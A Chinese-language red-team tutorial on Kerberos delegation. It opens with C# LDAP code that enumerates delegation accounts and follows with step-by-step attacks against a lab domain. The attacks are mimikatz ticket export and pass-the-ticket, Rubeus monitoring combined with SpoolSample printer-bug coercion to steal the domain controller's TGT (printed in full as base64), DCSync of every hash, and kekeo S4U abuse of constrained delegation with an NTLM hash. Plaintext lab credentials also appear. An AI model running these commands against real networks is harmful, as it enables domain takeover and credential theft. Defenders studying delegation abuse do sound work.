Kerberos委派以及使用C#寫代碼進行檢測
0x00 C#檢測委派賬戶
前文已經寫到檢測域內dcsync,adminsdholder等后門和一些基本域內信息
public static void Checkdelegation()
{
Ldapcoon.LDAP_COON();
Font.InfoFonts();
Console.WriteLine("\r");
Console.WriteLine("===========非約束性委派主機===========");
Font.NormailFonts();
Ldapcoon.search.Filter = "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string computers = "";
string groupdescription = "";
computers = r.Properties["distinguishedName"][0].ToString();
Console.WriteLine(computers);
//groupdescription = r.Properties["description"][0].ToString();
//Console.WriteLine("Description: " + groupdescription + "\r");
}
Font.InfoFonts();
Console.WriteLine("\r");
Console.WriteLine("===========非約束性委派用戶===========");
Font.NormailFonts();
Ldapcoon.search.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string users = "";
string groupdescription = "";
users = r.Properties["distinguishedName"][0].ToString();
Console.WriteLine(users);
//groupdescription = r.Properties["description"][0].ToString();
//Console.WriteLine("Description: " + groupdescription + "\r");
}
Font.InfoFonts();
Console.WriteLine("\r");
Console.WriteLine("===========約束性委派用戶=============");
Font.NormailFonts();
Ldapcoon.search.Filter = "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string users = "";
string target = "";
int user_count = 0;
int target_count = 0;
int len = 0;
user_count = r.Properties["distinguishedName"].Count;
target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
while (len < user_count)
{
users = r.Properties["distinguishedName"][len].ToString();
Console.WriteLine(users);
len++;
}
len = 0;
Font.Warning();
Console.WriteLine("\rtarget SPN");
Font.NormailFonts();
while (len < target_count)
{
target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
Console.WriteLine(target);
len++;
}
}
Font.InfoFonts();
Console.WriteLine("\r");
Console.WriteLine("===========約束性委派主機=============");
Font.NormailFonts();
Ldapcoon.search.Filter = "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string users = "";
string target = "";
int user_count = 0;
int target_count = 0;
int len = 0;
user_count = r.Properties["distinguishedName"].Count;
target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
while(len < user_count)
{
users = r.Properties["distinguishedName"][len].ToString();
Console.WriteLine(users);
len++;
}
len = 0;
Font.Warning();
Console.WriteLine("\rtarget SPN");
Font.NormailFonts();
while (len < target_count)
{
target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
Console.WriteLine(target);
len++;
}
}
}
因為約束性委派會指定委派的對象可能為多個所以我們先檢測他的count然后再遍歷輸出。

0x01 委派
委派:當用戶A基于kerberos驗證去請求B服務,B服務使用A的身份去請求服務C。

?域內用戶jack以Kerberos方式認證后訪問Web服務器;
?Web服務以websvc服務賬號運行,websvc向KDC發起jack用戶的票據申請;
?KDC檢查websvc用戶的委派屬性,如果被設置,則返回jack用戶的可轉發票據TGT;
?websvc收到jack用戶TGT后,使用該票據向KDC申請訪問文件服務器的服務票據TGS;
?KDC檢查websvc的委派屬性,如果被設置,且申請的文件服務在允許的列表清單中,則返回一個jack用戶訪問文件服務的授權票據TGS;
?websvc收到的jack用戶的授權票據TGS后,可訪問文件服務,完成多跳認證。
在域內只有服務賬號和機器賬號才具有委派屬性。
機器賬號就是AD活動目錄中 Computers 中的計算機(一個普通域用戶默認最多可以創建十個主機賬號)。
服務賬號(Service Account)是域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來并加入域。例如SQL Server 在安裝時,會在域內自動注冊服務賬號 SQLServiceAccount。也可以將域用戶通過注冊SPN變為服務賬號。
當用戶被設置為不允許被委派,那么就不能委派。

委派可以分為:
非約束性委派
約束性委派
基于資源的約束委派
0x02 非約束委派
操作環境:
域:redteam.local
域控:DC.redteam.local。主機名:DC。ip:192.168.11.16
域管賬戶:Administrator/test123..
域內機器:MSSQL.redteam。ip:192.168.11.8。普通賬戶:hack/test123..
前提:在機器賬號B上配置了非約束性委派(域管理員才有權限配置)
1.用戶訪問機器B的某個服務,于是向KDC認證。KDC會檢查機器B的機器賬號的屬性,發現是非約束性委派,KDC會將用戶的TGT放在ST服務票據中。
2.用戶訪問機器B時,TGT票據會和ST服務票據一同發送給機器B
3.這樣B在驗證ST服務票據的同時獲取了用戶的TGT,并將TGT存儲在LSASS進程中,從而可以模擬用戶訪問任意服務
從網絡攻擊的角度來看,如果攻擊者控制了機器B的機器賬號,并且機器B配置了非約束性委派。則攻擊者可以誘騙管理員來訪問機器B,然后攻擊者可以獲取管理員的TGT,從而模擬管理員訪問任意服務,即獲得了管理員權限。
在非約束行委派中,服務賬號可以獲取被委派用戶的TGT,然后把TGT存儲在LSASS進程中,從而服務賬號可以使用這個TGT去模擬用戶訪問任何服務。
當服務賬號或者主機被設置為非約束性委派時,其userAccountControl屬性會包含WORKSTATION_TRUSTED_FOR_DELEGATION。我們設置MSSQL這個機器。


當我們控制了機器賬號MSSQL,然后誘導管理員來訪問機器,就可以獲得管理員的TGT,從而訪問任何服務。
2.1 篩選非約束性委派的賬號
域控主機賬戶是默認開啟非約束性委派
2.1.1 powerview.ps1
Import-Module .\PowerView.ps1 查詢域中配置非約束委派的賬戶 Get-NetUser -Unconstrained -Domain redteam.local 查詢域中配置非約束委派的主機: Get-NetComputer -Unconstrained -Domain redteam.local PS C:\Users\Administrator\Desktop> Get-NetComputer -Unconstrained -Domain redteam.local DC.redteam.local mssql.redteam.local PS C:\Users\Administrator\Desktop>
2.1.2 ADFind
查找域中配置非約束委派的用戶:
AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非約束委派的主機:
AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName C:\Users\Administrator\Desktop>AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName AdFind V01.56.00cpp Joe Richards (support@joeware.net) April 2021 Using server: DC.redteam.local:389 Directory: Windows Server 2016 dn:CN=DC,OU=Domain Controllers,DC=redteam,DC=local >cn: DC >distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=local dn:CN=MSSQL,CN=Computers,DC=redteam,DC=local >cn: MSSQL >distinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local 2 Objects returned C:\Users\Administrator\Desktop>
2.1.3 ldapsearch
查找域中配置非約束委派的用戶:
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非約束委派的主機:
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" ┌──(root?kali)-[~]└─# ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=localdistinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local┌──(root?kali)-[~]└─#
2.2 非約束性委派攻擊
我們在mssql這臺機器訪問域控。

可以看到是訪問是拒絕的。然后我們用域管賬戶去訪問MSSQL
C:\Users\Administrator\Desktop>dir \\MSSQL.redteam.local\c$
這個時候在MSSQL這臺機器的lsass.exe內存中會存在域管administrator賬戶的TGT票據。然后在MSSQL機器運行mimikatz。
privilege::debug 導出票據sekurlsa::tickets /export

然后再注入票據到內存里面,再訪問域控。
導入票據kerberos::ptt xxx.kirbi查看票據kerberos::list


2.3 非約束性委派配合打印機
默認情況下Spooler服務是自動開啟的。
使用本地管理員身份運行Rubeus來監聽事件id為4624的事件,然后時間設置為1秒,可以截取到域控的TGT。
Rubeus.exe monitor /interval:1 /filteruser:DC$
然通過SpoolSample.exe向域控發起請求。
SpoolSample.exe DC MSSQL
Rubeus成功接受到了TGT

復制監聽到的TGT的base64
doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM
再Rubeus導入base64的票據直接注入進內存
Rubeus.exe ptt /ticket:base64
可以klist看到票據已經導入成功

然后就可以直接dcsync
lsadump::dcsync /domain:redteam.local /all /csv

0x03 約束性委派
操作環境:
域:redteam.local
域控:DC.redteam.local。主機名:DC。ip:192.168.11.16
域管賬戶:Administrator/test123..
域內機器:MSSQL.redteam。ip:192.168.11.8。普通賬戶:hack/test123..
前提:在服務A上配置到服務B約束性委派(域管理員才有權限配置)
1.用戶訪問服務A,于是向域控進行kerberos認證,域控返回ST1服務票據給用戶,用戶使用此服務票據訪問服務A
2.若該服務A允許委派給服務B,則A能使用S4U2Proxy協議將用戶發送給自己的可轉發的ST1服務票據以用戶的身份再轉發給域控制器。于是域控返回給服務A一個ST2服務票據,
3.服務A便能使用獲得的ST2服務票據以用戶的身份訪問服務B。
從網絡攻擊的角度來看,如果攻擊者控制了服務A的賬號,并且服務A配置了到域控的CIFS服務的約束性委派。則攻擊者可以利用服務A以administrator身份訪問域控的CIFS服務,即相當于控制了域控。
在kerberos協議里面存在兩個拓展子協議S4u2seflt和S4u2Proxy。服務賬號只能獲取用戶的TGS,這個時候就只能模擬用戶訪問特定的服務。

當被配置了約束委派的賬戶的userAccountControl屬性有個FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 屬性還會指定對哪個SPN進行委派。

3.1 篩選約束性委派賬號
3.1.1 ldapsearch
查找域中配置約束委派用戶:
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
查找域中配置約束委派的主機:
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
3.1.2 FuckLdap
FuckLdap.exe -d 192.168.11.16 -u hack -p test123.. --Checkdelegation

3.2 約束性委派攻擊
我們這里設置了MSSQL這個機器用戶對DC的cifs服務的委派。
當我們要進行約束委派攻擊的前提就是拿到這臺啟用了約束委派的機器權限。
生成TGT
首先生成TGT
kekeo.exe "tgt::ask /user:MSSQL$ /domain:redteam.local /NTLM:29de42b31e2b7961fda4fbe648d062c9" "exit"
獲得ST
使用這張TGT通過偽造s4U請求以administrator用戶身份請求去訪問DC的cifs的ST
kekeo.exe "tgs::s4u /tgt:TGT_MSSQL$@REDTEAM.LOCAL_krbtgt~redteam.local@REDTEAM.LOCAL.kirbi /user:Administrator@redteam.local /service:cifs/DC.redteam.local" "exit"
S4U2Self獲取到的ST1以及S4U2Proxy獲取到的DC CIFS服務的ST2會保存在當前目錄下
注入ST2
kerberos::ptt TGS_Administrator@redteam.local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi
然后訪問域控
